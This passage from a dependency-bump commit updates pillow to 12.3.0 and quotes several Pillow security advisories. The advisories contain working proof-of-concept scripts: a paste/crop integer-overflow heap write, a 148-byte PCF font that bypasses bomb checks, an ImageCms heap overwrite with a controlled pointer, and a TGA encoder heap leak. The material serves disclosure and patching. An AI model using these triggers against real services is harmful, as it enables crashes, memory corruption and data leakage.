0x42, 0x43, 0x44)) return bytes(out) def main(): parser = argparse.ArgumentParser() parser.add_argument( "variant", choices=("paste", "crop", "alpha"), nargs="?", default="paste", ) parser.add_argument("-w", "--width", type=int, default=2) args = parser.parse_args() width = args.width src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width)) if args.variant == "paste": box = ((1 << 31) - width, 0, INT_MIN, 1) dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0)) print(f"variant=paste box={box}") print(f"expected C dst offset={-4 * width}, write_size={4 * width}") sys.stdout.flush() dst.paste(src, box) print("paste returned; first row:", dst.tobytes().hex()) elif args.variant == "crop": left = INT_MIN + width box = (left, 0, left + width, 1) print(f"variant=crop box={box}") sys.stdout.flush() out = src.crop(box) print("crop returned; output:", out.tobytes().hex()) else: dest = (INT_MIN + width, 0) dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0)) print(f"variant=alpha dest={dest}") sys.stdout.flush() dst.alpha_composite(src, dest=dest) print("alpha_composite returned; first row:", dst.tobytes().hex()) sys.stdout.flush() if __name__ == "__main__": main() ``` Run against an ASAN build: ```bash env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \ python b021_poc.py paste env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \ python b021_poc.py crop env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \ python b021_poc.py alpha ``` Observed ASAN signature for the direct `Image.paste()` path: ```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 paste /out/src/src/libImaging/Paste.c:59 ImagingPaste /out/src/src/libImaging/Paste.c:323 _paste /out/src/src/_imaging.c:1461 0x... is located 8 bytes before 32-byte region ``` On non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal `Image.paste()` trigger returns from `paste()` and then the process aborts during cleanup with: ```text double free or corruption (out) Aborted (core dumped) ``` Observed ASAN signature for the `Image.crop()` and `Image.alpha_composite()` paths: ```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 paste /out/src/src/libImaging/Paste.c:59 ImagingPaste /out/src/src/libImaging/Paste.c:323 ImagingCrop /out/src/src/libImaging/Crop.c:57 _crop /out/src/src/_imaging.c:1090 ``` ##### Suggested fix Avoid signed overflow in paste/crop coordinate arithmetic. Use checked arithmetic or a wider type before calculating widths and clipped endpoints. For example, reject boxes whose endpoint subtraction cannot be represented cleanly, and clip using non-overflowing comparisons: ```c int64_t xsize64 = (int64_t)dx1 - dx0; int64_t ysize64 = (int64_t)dy1 - dy0; if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) { return ImagingError_ValueError("bad box"); } ``` `ImagingCrop()` should receive the same treatment for `sx1 - sx0`, `dx0 = -sx0`, and `dx1 = imIn->xsize - sx0`. ##### Impact This is a heap out-of-bounds write in Pillow's native C extension, reachable through documented public image APIs. Applications are impacted if an untrusted user can control image operation coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay positions. The bytes written in the direct `Image.paste()` variant are copied from the source image, so attacker-controlled source pixels can influence the out-of-bounds write. For `RGBA`, the write is a backward heap underwrite whose offset and length are both `4 * source_width`, bounded in practice by successful image allocation and heap layout. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59199](https://nvd.nist.gov/vuln/detail/CVE-2026-59199) - [https://github.com/python-pillow/Pillow/pull/9703](https://redirect.github.com/python-pillow/Pillow/pull/9703) - [https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b](https://redirect.github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b) - [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml) - [https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://redirect.github.com/python-pillow/Pillow/releases/tag/12.3.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6r8x-57c9-28j4) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading BIT-pillow-2026-54059 / [CVE-2026-54059](https://nvd.nist.gov/vuln/detail/CVE-2026-54059) / [GHSA-8v84-f9pq-wr9x](https://redirect.github.com/advisories/GHSA-8v84-f9pq-wr9x) / PYSEC-2026-2253 <details> <summary>More information</summary> #### Details ##### Description `PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values: ``` xsize = right - left (max: 65535 − 0 = 65535) ysize = ascent + descent (max: 65535 + 65535 = 131070) ``` Maximum exploitable pixel count: **65,535 × 131,070 = 8,589,734,450 pixels** — **48× the DecompressionBombError threshold**. **Vulnerable code (`PIL/PcfFontFile.py` line 224–227):** ```python for i in range(nbitmaps): xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled b, e = offsets[i : i + 2] bitmaps.append( Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize)) # ↑ NO _decompression_bomb_check()! ) ``` `Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths: - **Persistent attack**: Provide matching bitmap data → `frombytes()` succeeds → image stored in `font.glyph[ch]` permanently - **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data → `Image.new()` allocates the full buffer → `ValueError` → buffer freed → but the spike occurs before Python can respond ##### Steps to reproduce **Proof of Concept script:** ```python #!/usr/bin/env python3 """PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation""" import io, struct, tracemalloc, warnings warnings.filterwarnings("ignore") from PIL.PcfFontFile import PcfFontFile from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError W, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold ##### Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: _decompression_bomb_check((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).__name__}") warnings.filterwarnings("ignore") ##### PCF binary constants PCF_MAGIC = 0x70636601 PCF_PROPS = 1 << 0 PCF_METRICS = 1 << 2 PCF_BITMAPS = 1 << 3 PCF_ENCODINGS= 1 << 5 def build_bomb_pcf(xsize, ysize): # Properties: empty props = struct.pack("<III", 0, 0, 0) # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent metrics = struct.pack("<II", 0, 1) metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0) # Bitmaps: 1 glyph, empty data (transient attack) bitmaps = struct.pack("<II", 0, 1) bitmaps += struct.pack("<I", 0) # offset[0] = 0 bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0 # Encodings: char 0x41 ('A') → glyph 0 enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62 encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF) encodings += struct.pack("<" + "H"*128, *enc_offsets) secs = [(PCF_PROPS, props), (PCF_METRICS, metrics), (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)] hdr_size = 4 + 4 + len(secs) * 16 out = struct.pack("<II", PCF_MAGIC, len(secs)) offset = hdr_size for stype, sdata in secs: out += struct.pack("<IIII", stype, 0, len(sdata), offset) offset += len(sdata) for _, sdata in secs: out += sdata return out pcf = build_bomb_pcf(W, H) print(f"[*] PCF file size : {len(pcf)} bytes") print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels") print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)") tracemalloc.start() try: font = PcfFontFile(io.BytesIO(pcf)) _, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB") except Exception as e: _, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation") print(f" Heap peak: {peak/1024**2:.2f} MB") print(f" C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception") ``` **Expected output:** ``` [Image.open() path] BLOCKED by DecompressionBombError [*] PCF file size : 148 bytes [*] Glyph size : 14000 x 14000 = 196,000,000 pixels [*] C-heap target : 23 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED (transient): ValueError after allocation C-heap allocation of ~23 MB occurred before exception ``` **Amplification table:** | PCF file | Glyph dims | C-heap (mode '1') | Bomb check | |---|---|---|---| | 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed | | 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed | | ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed | ##### Impact - **Availability**: HIGH — up to 1.07 GB per glyph, no limit per font file - **Confidentiality**: None - **Integrity**: None - Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected - `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path - Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07 #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x) - [https://nvd.nist.gov/vuln/detail/CVE-2026-54059](https://nvd.nist.gov/vuln/detail/CVE-2026-54059) - [https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://redirect.github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d) - [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml) - [https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://redirect.github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-8v84-f9pq-wr9x) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch BIT-pillow-2026-59205 / [CVE-2026-59205](https://nvd.nist.gov/vuln/detail/CVE-2026-59205) / [GHSA-9hw9-ch79-4vh6](https://redirect.github.com/advisories/GHSA-9hw9-ch79-4vh6) / PYSEC-2026-3453 <details> <summary>More information</summary> #### Details ##### Summary Pillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. For example, a transform built as `RGBA -> RGBA` can be applied to an `L` output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row. ##### Details `src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller supplied `imOut`: ```python def apply(self, im, imOut=None): if imOut is None: imOut = Image.new(self.output_mode, im.size, None) self.transform.apply(im.getim(), imOut.getim()) imOut.info["icc_profile"] = self.output_profile.tobytes() return imOut ``` If `imOut` is provided, Pillow does not check: ```text im.mode == self.input_mode imOut.mode == self.output_mode ``` The C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions: ```c static int pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) { if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) { return -1; } for (i = 0; i < im->ysize; i++) { cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize); } pyCMScopyAux(hTransform, imOut, im); return 0; } ``` `findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS `TYPE_RGBA_8`, which writes 4 bytes per pixel: ```c case IMAGING_MODE_RGB: case IMAGING_MODE_RGBA: case IMAGING_MODE_RGBX: return TYPE_RGBA_8; ``` So with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 * width` bytes to each output row. If the supplied output image is mode `L`, Pillow only allocated `1 * width` bytes for that row. For width 4096: ```text destination row allocation: 4096 bytes LittleCMS write size: 16384 bytes overflow: ~12288 bytes past the row ``` The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, `apply()` returned to Python and printed `after`; glibc detected the corrupted heap later during cleanup. ##### PoC Tiny heap corruption trigger: ```python from PIL import Image, ImageCms srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA") im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (8, 1), 0) print("before", flush=True) transform.apply(im, out) print("after") ``` Observed locally on Pillow `12.3.0.dev0`: ```text before after free(): invalid next size (normal) Aborted (core dumped) ``` Controlled overwrite evidence PoC: ```python from PIL import Image, ImageCms srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA") im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (4096, 1), 0) transform.apply(im, out) ``` Run under gdb: ```bash gdb -q --batch -ex run -ex bt --args \ python3 b022_controlled.py ``` Observed on Pillow `12.3.0.dev0`: ```text Program received signal SIGSEGV, Segmentation fault. ___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241) #​1 _cmsLockPrimitive (m=0x4443424144434241) #​2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241) #​3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241) #​4 cmsSaveProfileToIOhandler(...) #​5 cmsSaveProfileToMem(...) #​6 cms_profile_tobytes (...) at src/_imagingcms.c:152 ``` `0x4443424144434241` is the attacker-controlled source pixel pattern `b"ABCDABCD"` interpreted as a little-endian pointer-sized value. Using source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of `0x403020104030201`, matching the repeated pixel bytes. ##### Impact This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API. Applications are impacted if untrusted users can control ImageCms transform parameters and/or provide the output image object passed to `ImageCmsTransform.apply()`. The source image pixels influence the bytes written out of bounds. ##### Suggested fix Validate modes before calling into the native transform: ```python def apply(self, im, imOut=None): if im.mode != self.input_mode: raise ValueError("input mode mismatch") if imOut is None: imOut = Image.new(self.output_mode, im.size, None) elif imOut.mode != self.output_mode: raise ValueError("output mode mismatch") self.transform.apply(im.getim(), imOut.getim()) imOut.info["icc_profile"] = self.output_profile.tobytes() return imOut ``` The C extension should also defensively reject mismatched image modes before calling `cmsDoTransform()`. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59205](https://nvd.nist.gov/vuln/detail/CVE-2026-59205) - [https://github.com/python-pillow/Pillow/pull/9715](https://redirect.github.com/python-pillow/Pillow/pull/9715) - [https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721](https://redirect.github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721) - [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml) - [https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://redirect.github.com/python-pillow/Pillow/releases/tag/12.3.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-9hw9-ch79-4vh6) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images BIT-pillow-2026-59198 / [CVE-2026-59198](https://nvd.nist.gov/vuln/detail/CVE-2026-59198) / [GHSA-fj7v-r99m-22gq](https://redirect.github.com/advisories/GHSA-fj7v-r99m-22gq) / PYSEC-2026-3494 <details> <summary>More information</summary> #### Details ##### Summary Pillow's TGA RLE encoder reads past its row buffer when saving a mode `"1"` image. Adjacent process heap bytes can be copied into the generated TGA file. The bug is reachable through the public save API: ```python im.save(out, format="TGA", compression="tga_rle") ``` Older affected Pillow versions use the equivalent public option `rle=True`. For mode `"1"`, Pillow allocates a packed row buffer of `ceil(width / 8)` bytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel. The maximum valid TGA width is `65535`. At that width: ```text allocated packed row buffer: 8192 bytes encoder byte-offset walk: 65535 bytes maximum OOB window per row: 57343 bytes ``` On non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized `57297` bytes from distinct out-of-bounds source offsets into one returned TGA, covering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes, private API, or malformed input file was used. The disclosure is emitted across many TGA packet payload copies of at most `128` bytes each, not one large `memcpy()`. ##### Details `src/PIL/TgaImagePlugin.py` allows mode `"1"` TGA output and selects the `tga_rle` encoder when RLE compression is requested. `src/encode.c:_setimage()` allocates the row buffer using the packed-bit formula: ```c state->bytes = (state->bits * state->xsize + 7) / 8; state->buffer = (UINT8 *)calloc(1, state->bytes); ``` For mode `"1"`, `state->bits == 1`. `src/libImaging/TgaRleEncode.c` then computes: ```c bytesPerPixel = (state->bits + 7) / 8; ``` This becomes `1`, and the encoder uses pixel indexes as byte offsets: ```c static int comparePixels(const UINT8 *buf, int x, int bytesPerPixel) { buf += x * bytesPerPixel; return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0; } ``` The packet payload `memcpy()` later copies those out-of-bounds source bytes into the output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy one representative byte: ```c memcpy( dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount ); ``` A width-2 mode `"1"` image allocates one row byte and already triggers an ASAN heap-buffer-overflow read. Wider images increase the adjacent heap window and the amount of heap data that can be serialized. ##### PoC ##### Minimal ASAN trigger ```python import io from PIL import Image out = io.BytesIO() Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle") ``` Observed on local Pillow `12.3.0.dev0` ASAN target: ```text ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 comparePixels /out/src/src/libImaging/TgaRleEncode.c:10 ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81 0 bytes after a 1-byte allocation from _setimage ``` ##### Maximum-width heap disclosure This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window. Run the following with a standard affected Pillow installation. ```python import hashlib import io import PIL from PIL import Image WIDTH = 65535 ATTEMPTS = 20 ROW_BYTES = (WIDTH + 7) // 8 MAX_OOB_WINDOW = WIDTH - ROW_BYTES def extract_oob_payload(data): i = 18 pixel = 0 oob = bytearray() while pixel < WIDTH: descriptor = data[i] i += 1 count = (descriptor & 0x7F) + 1 if descriptor & 0x80: value = data[i] i += 1 if pixel + count - 1 >= ROW_BYTES: oob.append(value) else: values = data[i : i + count] i += count oob.extend(values[max(ROW_BYTES - pixel, 0) :]) pixel += count return bytes(oob) best = b"" for _ in range(ATTEMPTS): out = io.BytesIO() Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle") oob = extract_oob_payload(out.getvalue()) if len(oob) > len(best): best = oob with open("/tmp/max_oob_bytes.bin", "wb") as fp: fp.write(best) print(f"Pillow={PIL.__version__}") print(f"packed_row_bytes={ROW_BYTES}") print(f"maximum_oob_window={MAX_OOB_WINDOW}") print(f"serialized_distinct_oob_offsets={len(best)}") print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}") print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}") print(f"sha256={hashlib.sha256(best).hexdigest()}") ``` Observed on installed Pillow `12.2.0`: ```text Pillow=12.2.0 packed_row_bytes=8192 maximum_oob_window=57343 serialized_distinct_oob_offsets=57297 nonzero_oob_bytes=54407 coverage=99.92% ``` ##### Impact This is a heap out-of-bounds read and potential information disclosure. A maximum-width single-row image can cause nearly the full `57343`-byte adjacent heap window to be incorporated into one output file. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-fj7v-r99m-22gq](https://redi > ✂ **Note** > > PR body was truncated to here. --------- Co-authored-by: Xinyuan Lin <[email protected]> Co-authored-by: Yicong Huang <[email protected]> Co-authored-by: Claude Fable 5 <[email protected]> --- amber/LICENSE-binary-python | 2 +- amber/operator-requirements.txt | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/amber/LICENSE-binary-python b/amber/LICENSE-binary-python index 0b59956f80..f950686bd3 100644 --- a/amber/LICENSE-binary-python +++ b/amber/LICENSE-binary-python @@ -363,7 +363,7 @@ Dependencies under the MIT-CMU License -------------------------------------------------------------------------------- Python packages: - - pillow==12.2.0 + - pillow==12.3.0 Individual jars may contain their own META-INF/LICENSE and META-INF/NOTICE files that apply to their specific contents; those files continue to govern diff --git a/amber/operator-requirements.txt b/amber/operator-requirements.txt index 9759f624c4..bf3e0ff96c 100644 --- a/amber/operator-requirements.txt +++ b/amber/operator-requirements.txt @@ -18,7 +18,7 @@ wordcloud==1.9.6 plotly==5.24.1 praw==7.6.1 -pillow==12.2.0 +pillow==12.3.0 # Pin torch to the CPU wheel on Linux x86_64 to avoid the NVIDIA CUDA deps. --extra-index-url https://download.pytorch.org/whl/cpu
